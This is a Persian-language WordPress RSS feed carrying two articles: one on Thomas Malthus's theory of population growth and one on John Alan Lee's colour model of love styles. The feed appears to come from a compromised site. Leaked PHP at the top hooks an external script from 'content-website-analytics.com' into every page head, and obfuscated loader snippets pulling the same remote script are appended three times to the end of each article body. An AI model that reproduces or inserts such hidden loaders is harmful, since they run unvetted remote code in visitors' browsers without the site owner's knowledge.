/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/theorium/theorium.net/wp-content/themes/disto/functions.php:931) in <b>/home/theorium/theorium.net/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>نظریات علوم اجتماعی &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<atom:link href="https://theorium.net/tag/%d9%86%d8%b8%d8%b1%db%8c%d8%a7%d8%aa-%d8%b9%d9%84%d9%88%d9%85-%d8%a7%d8%ac%d8%aa%d9%85%d8%a7%d8%b9%db%8c/feed/" rel="self" type="application/rss+xml" />
	<link>https://theorium.net</link>
	<description>بنیاد بین المللی تئوری ها و دکترین ها</description>
	<lastBuildDate>Sat, 21 Mar 2026 07:16:08 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.19</generator>

<image>
	<url>https://theorium.net/wp-content/uploads/2020/07/cropped-favicon-32x32.png</url>
	<title>نظریات علوم اجتماعی &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<link>https://theorium.net</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>توماس مالتوس و نظریه انفجار جمعیت</title>
		<link>https://theorium.net/%d8%aa%d9%88%d9%85%d8%a7%d8%b3-%d9%85%d8%a7%d9%84%d8%aa%d9%88%d8%b3-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d9%86%d9%81%d8%ac%d8%a7%d8%b1-%d8%ac%d9%85%d8%b9%db%8c%d8%aa/</link>
					<comments>https://theorium.net/%d8%aa%d9%88%d9%85%d8%a7%d8%b3-%d9%85%d8%a7%d9%84%d8%aa%d9%88%d8%b3-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d9%86%d9%81%d8%ac%d8%a7%d8%b1-%d8%ac%d9%85%d8%b9%db%8c%d8%aa/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Thu, 26 Jan 2023 18:22:02 +0000</pubDate>
				<category><![CDATA[علوم پایه]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[انفجار جمعیت]]></category>
		<category><![CDATA[توماس مالتوس]]></category>
		<category><![CDATA[علوم اجتماعی]]></category>
		<category><![CDATA[نظریات علوم اجتماعی]]></category>
		<category><![CDATA[نظریه]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6930</guid>

					<description><![CDATA[<p>توماس مالتوس و نظریه انفجار جمعیت توماس مالتوس و نظریه انفجار جمعیت ؛ توماس رابرت مالتوس استاد دانشگاه انگلیسی بود که تأثیر بسیار زیادی روی جمعیت‌شناسی و اقتصاد سیاسی گذاشته‌است. مالتوس به خاطر پایه‌گذاری نظریه رانت مشهور است. البته کتاب مشهوری نیز به نام اصل جمعیت نگاشته‌است و اولین بار به این موضوع اشاره کرده‌است [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%aa%d9%88%d9%85%d8%a7%d8%b3-%d9%85%d8%a7%d9%84%d8%aa%d9%88%d8%b3-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d9%86%d9%81%d8%ac%d8%a7%d8%b1-%d8%ac%d9%85%d8%b9%db%8c%d8%aa/">توماس مالتوس و نظریه انفجار جمعیت</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h4>توماس مالتوس و نظریه انفجار جمعیت</h4>
<p>توماس مالتوس و نظریه انفجار جمعیت ؛ توماس رابرت مالتوس استاد دانشگاه انگلیسی بود که تأثیر بسیار زیادی روی جمعیت‌شناسی و اقتصاد سیاسی گذاشته‌است. مالتوس به خاطر پایه‌گذاری نظریه رانت مشهور است. البته کتاب مشهوری نیز به نام اصل جمعیت نگاشته‌است و اولین بار به این موضوع اشاره کرده‌است که افزایش جمعیت راه‌حلی برای پیشرفت نیست.</p>
<p>وی در کمبریج به تحصیل الهیات پرداخت و پس از تکمیل تحصیلات در سال ۱۸۰۵ استاد تاریخ و اقتصاد در کالج هال بیوری گردید. مالتوس کتاب خود را تحت عنوان اصل جمعیت در سال ۱۷۹۸ و چاپ دوم و کامل آن را در سال ۱۸۰۳–۱۸۱۷ انتشار داد. مالتوس معتقد بود که موجودات زنده با سرعت سرسام‌آوری تکثیر پیدا می‌کنند و اگر قحطی و جنگ و غیره وجود نداشته باشد جمعیت به شکل تصاعد هندسی زیاد می‌شود و ممکن است در هر ۲۵ سال دو برابر گردد در حالی که وسایل ارتزاق در بهترین شرایط با یک تصاعد ریاضی بالا می‌رود و لذا هر ۲۵ سال جمعیت دو برابر می‌شود و حال آنکه ازدیاد خواربار و مواد غذایی بسیار ناچیز است ولی برخی عوامل چون جنگ و قحطی می‌توانند موانع طبیعی در امر ازدیاد جمعیت باشند.</p>
<p>&nbsp;</p>
<h6>سالهای زندگی توماس مالتوس</h6>
<p>در ۱۴ فوریه ۱۷۶۶ نزدیک گیلفرد در ساری انگلستان زاده شد و تا سال ۱۸۳۴ زیست. در دانشگاه کمبریج به بررسی دانش‌های کشیشی پرداخت و پس از آسودگی از تحصیل به کار در کلیسای انگلستان مشغول شد. به سال ۱۸۰۵ به عنوان استاد تاریخ و اقتصاد سیاسی در کالج هیلیبری به کار گمارده شد.</p>
<p>&nbsp;</p>
<h6>فعالیتهای توماس مالتوس</h6>
<p>توماس مالتوس نخستین کتاب خود را در سال ۱۷۹۸ تحت عنوان رساله‌ای درباره اصول جمعیت به چاپ رساند. مالتوس در این کتاب پیرامون اینکه جمعیت با فرایاز (تصاعد) هندسی افزایش می‌یابد و فراهم ساختن خواروبار برای ادامه زندگی با فرایاز حسابی انجام می‌شود، باورهای خویش را باز نمود. کارهای دیگر مالتوس عبارتند از؛</p>
<ul>
<li>پژوهش درباره طبیعت و پیشرفت بازده زمین</li>
<li>بنیادهای اقتصادی سیاسی</li>
<li>تعاریف اقتصاد سیاسی</li>
</ul>
<p>&nbsp;</p>
<h6>جایگاه توماس مالت در بین نظریه پردازان علوم اجتماعی</h6>
<p>نقش بزرگ ربرت مالتوس در این است که پژوهش‌های جمعیت‌شناسی را در دانشهای اجتماعی وارد ساخت. پس از پژوهش‌های مالتوس و به ویژه در سده بیستم این جستار استوار گشت که جمعیت انسانی و اقتصاد دارای پیوند نزدیک به یکدیگرند و دشواریهای اقتصادی و اجتماعی بدون در نظر گرفتن دگرگونیها و نوسان‌های جمعیت و افزایش و کاهش آن حل و فصل نمی‌شود.</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="size-medium wp-image-6931" src="https://theorium.net/wp-content/uploads/2023/01/Thomas-Malthus-Population-300x300.jpg" alt="توماس مالتوس" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2023/01/Thomas-Malthus-Population-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2023/01/Thomas-Malthus-Population-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2023/01/Thomas-Malthus-Population-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2023/01/Thomas-Malthus-Population-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2023/01/Thomas-Malthus-Population.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>نظریه انفجار جمعیت</h6>
<p>اگر جمعیت انسان کنترل نشود به صورت تصاعد هندسی (۱، ۲، ۴، ۸، ۱۶،&#8230;) رشد خواهد کرد، در حالی که منابع غذایی فقط می‏تواند به شکل تصاعد حسابی (۱، ۲، ۳، ۴، ۵،&#8230;.) رشد کند. در طی دو قرن نسبت جمعیت به منابع غذایی متناظر با ۲۵۶ به ۹ خواهد بود (در تصاعد حسابی بین هر عدد بعدی اختلاف ثابتی وجود دارد، در حالی که در تصاعد هندسی هر عدد حاصل ضرب عدد پیشین در مقدار ثابتی است).</p>
<p>این پیش بینی اندوهبار و تیره به علت پیشرفت‏های عظیم در فناوری‏های کشاورزی هیچ‏گاه به واقعیت نپیوست. حتی [ولی] در قرن بیست و یکم ایده‏های مالتوسی فراموش نشده است. این ایده‏ها بنیاد نظریه‏های جدید در مورد رابطه بین اقتصاد، جمعیت، و محیط زیست را تشکیل می‏دهند.</p>
<p>وقتی مالتوس اثر خود را با عنوان <a href="https://en.wikipedia.org/wiki/Thomas_Robert_Malthus" target="_blank" rel="noopener noreferrer">رساله در باب اصول جمعیت‏شناسی</a> منتشر کرد توجه عمومی را بر انگیخت و مؤلف را که کشیش روستایی گمنامی بود، در مرکز بحث‏های سیاسی جنجال برانگیز در مورد جمعیت قرار داد، و به شیطانی، شریرانه و خداناشناس بودن و برهم زننده نظم اجتماعی متهم شد.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%aa%d9%88%d9%85%d8%a7%d8%b3-%d9%85%d8%a7%d9%84%d8%aa%d9%88%d8%b3-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d9%86%d9%81%d8%ac%d8%a7%d8%b1-%d8%ac%d9%85%d8%b9%db%8c%d8%aa/">توماس مالتوس و نظریه انفجار جمعیت</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%aa%d9%88%d9%85%d8%a7%d8%b3-%d9%85%d8%a7%d9%84%d8%aa%d9%88%d8%b3-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d9%86%d9%81%d8%ac%d8%a7%d8%b1-%d8%ac%d9%85%d8%b9%db%8c%d8%aa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>جان لی و نظریه اش در مورد عشق (مدل رنگ های اصلی)</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b9%d8%b4%d9%82-%d8%ac%d8%a7%d9%86-%d8%a2%d9%84%d9%86-%d9%84%db%8c/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b9%d8%b4%d9%82-%d8%ac%d8%a7%d9%86-%d8%a2%d9%84%d9%86-%d9%84%db%8c/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Thu, 15 Dec 2022 18:12:46 +0000</pubDate>
				<category><![CDATA[علوم انسانی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[اقلیت های جنسی]]></category>
		<category><![CDATA[حق مرگ]]></category>
		<category><![CDATA[علوم اجتماعی]]></category>
		<category><![CDATA[نظریات علوم اجتماعی]]></category>
		<category><![CDATA[نظریات علوم انسانی]]></category>
		<category><![CDATA[نظریه]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6846</guid>

					<description><![CDATA[<p>جان لی و نظریه اش در مورد عشق (مدل رنگ های اصلی) جان لی و نظریه اش در مورد عشق (مدل رنگ های اصلی)  ؛ جان آلن لي در دهة ۱۹۷۰ با اجراي تحقيقاتي در پي اين بود كه مردم چگونه عشق را با همه گونه‌هايي كه دارد تجربه مي‌كنند. او قصد داشت با اين [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b9%d8%b4%d9%82-%d8%ac%d8%a7%d9%86-%d8%a2%d9%84%d9%86-%d9%84%db%8c/">جان لی و نظریه اش در مورد عشق (مدل رنگ های اصلی)</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h4>جان لی و نظریه اش در مورد عشق (مدل رنگ های اصلی)</h4>
<p>جان لی و نظریه اش در مورد عشق (مدل رنگ های اصلی)  ؛ جان آلن لي در دهة ۱۹۷۰ با اجراي تحقيقاتي در پي اين بود كه مردم چگونه عشق را با همه گونه‌هايي كه دارد تجربه مي‌كنند. او قصد داشت با اين كار از جريان عشق در غرب افسانه‌زدايي كند.</p>
<p>جان آلن لی  نویسنده، فعال دانشگاهی و سیاسی کانادایی بود که به دلیل تحقیقات آکادمیک خود در زمینه جنبه های جامعه شناختی و روانشناختی عشق به عنوان یکی از مدافعان اولیه حقوق دگرباشان جنسی در کانادا شناخته می شود.</p>
<p>او در سال ۱۹۳۳ در ماکسویل، انتاریو به دنیا آمد، پس از اینکه پدرش خانواده را رها کرد و مادرش از نظر مالی و عاطفی قادر به مراقبت از لی و برادرش دیوید نبود، جان لی به عنوان یک بخش از انجمن حمایت از کودکان استان بزرگ شد.</p>
<p>او در جوانی کارگر کارخانه و اتحادیه کارگری بود و در انتخابات ۱۹۵۸ به عنوان کاندیدای فدراسیون مشترک المنافع تعاونی در حوزه انتخاباتی برودیو نامزد شد.</p>
<p>جان آلن لی در کتاب خود به نام «<a href="https://exploringyourmind.com/the-types-of-love-according-to-john-allan-lee/" target="_blank" rel="noopener noreferrer">رنگ‌های عشق</a>»، به دنبال پاسخی برای این پرسش است که، مردم چگونه عشق را بـا همـه گونه‌هايي كه دارد تجربه مي‌كنند. از آن‌جا که تعریفی که از عشق در کتاب‌ها و فیلم‌ها ارائه می‌شود، با آن‌چه که در زندگی واقعی اتفاق می‌افتد معمولاً متفاوت است، جان لی در جریان مطالعاتش قصد داشـت از مفهوم عشـق در غـرب افسانه‌زداي كند. او سبك‌هاي عشق را به رنگ‌ها تشبيه كرد.</p>
<h6>تحصیلات و زندگی خصوصی</h6>
<p>در سال ۱۹۶۴، جان لی به عنوان یک &#8220;فعال همجنسگرای مخفی&#8221; برای اعتراض به تصویرهای غیرمنصفانه و مغرضانه افراد از دگرباشان شروع به کار کرد. جان لی در ابتدا این کار را به صورت ناشناس یا با نام مستعار انجام داد، اما در سال ۱۹۷۴ رسماً در برنامه تلویزیونی انتاریو جودی لامارش ظاهر شد و یکی از اولین چهره های حرفه ای کانادا شد که تا به حال به عنوان همجنسگرا ظاهر شد.</p>
<p>در سال ۱۹۷۵، او یکی از بنیانگذاران اتحادیه دانشگاهی همجنسگرایان دانشگاه تورنتو بود. در سال ۱۹۷۹، او سازمان دهنده اعتراض حقوق دگرباشان جنسی بود که شامل یک تحصن سه روزه در دفاتر دادستان کل استان روی مک مورتری بود. پس از عملیات صابون در سال ۱۹۸۱، او یکی از بنیانگذاران کمیته حق بر حریم خصوصی بود. او همچنین در سازمان‌های دیگری از جمله باشگاه سیرا، عفو بین‌الملل و انجمن مذهبی دوستان فعال بود.</p>
<p>در اواخر عمر او در یک گروه فعال کانادایی حق مرگ، فعال بود. اگرچه او در سلامتی نامناسب بیماری لاعلاجی نداشت، اما مدافع این بود که باید حق مرگ را داشته باشد به این دلیل که زندگی اش کامل شده است و دیگر چیز جدیدی که بخواهد انجام دهد یا به دست آورد ندارد. در این دوران، او همچنین زندگی نامه خود را با عنوان عشق همجنس گرا احمق، به عنوان یک سند رایگان در وب سایت خود منتشر کرد. او در ۵ دسامبر ۲۰۱۳ به زندگی خود پایان داد.</p>
<h6>سه سبک اصلی عشق</h6>
<p>جان لی به تبعیت از سه رنگ اصلی، سه سبک اصلی برای عشق قائل شده است. این سه سبک عبارتند از:</p>
<p>۱) عشق به یک فرد ایده‌آل، ۲) عشق به عنوان یک بازی و ۳) عشق به عنوان دوستی.</p>
<p>جان لی در کتاب خود به نام «رنگ‌های عشق» که در سال ۱۹۷۳ منتشر شد، انواع عشق را با رنگ‌های اصلی مقایسه کرده است. درست همان گونه که سه رنگ اصلی وجود دارد، جان لی سه سبک اصلی هم برای عشق قائل شده است. این سه سبک عبارتند از: ۱) عشق به یک فرد ایده‌آل، ۲) عشق به عنوان یک بازی و ۳) عشق به عنوان دوستی.</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="wp-image-6848 size-medium aligncenter" src="https://theorium.net/wp-content/uploads/2022/12/Love-wheel-300x300.png" alt="جان لی" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2022/12/Love-wheel-300x300.png 300w, https://theorium.net/wp-content/uploads/2022/12/Love-wheel-150x150.png 150w, https://theorium.net/wp-content/uploads/2022/12/Love-wheel-100x100.png 100w, https://theorium.net/wp-content/uploads/2022/12/Love-wheel-120x120.png 120w, https://theorium.net/wp-content/uploads/2022/12/Love-wheel.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>مدل رنگ های اصلی</h6>
<p>جان لی درادامه تشبیه خود می‌گوید که همان گونه که سه رنگ اصلی با یکدیگر ترکیب شده و رنگ‌های مکمل را به وجود می‌آورند، این سه سبک اصلی عشق نیز می‌توانند با یکدیگر ترکیب شده و ۹ سبک متفاوت و ثانویه عشق را به وجود آورند. برای مثال، ترکیبی از سبک‌های اول و دوم به عشق شیدایی یا عشق وسواسی می‌انجامد.</p>
<h6>شش سبک عشق از دید جان لی</h6>
<p>سه سبک اصلی</p>
<ul>
<li>عشق به یک فرد ایده‌آل</li>
<li>عشق به عنوان یک بازی</li>
<li>عشق به عنوان دوستی</li>
</ul>
<p>سه سبک ثانویه</p>
<ul>
<li>عشق شیدایی- وسواسی (ترکیب ۱ و ۲ اصلی)</li>
<li>عشق واقع‌گرایانه و عملی (ترکیب ۲ و ۳ اصلی)</li>
<li>عشق فداکارانه (ترکیب ۱ و ۳ اصلی)</li>
</ul>
<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b9%d8%b4%d9%82-%d8%ac%d8%a7%d9%86-%d8%a2%d9%84%d9%86-%d9%84%db%8c/">جان لی و نظریه اش در مورد عشق (مدل رنگ های اصلی)</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b9%d8%b4%d9%82-%d8%ac%d8%a7%d9%86-%d8%a2%d9%84%d9%86-%d9%84%db%8c/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>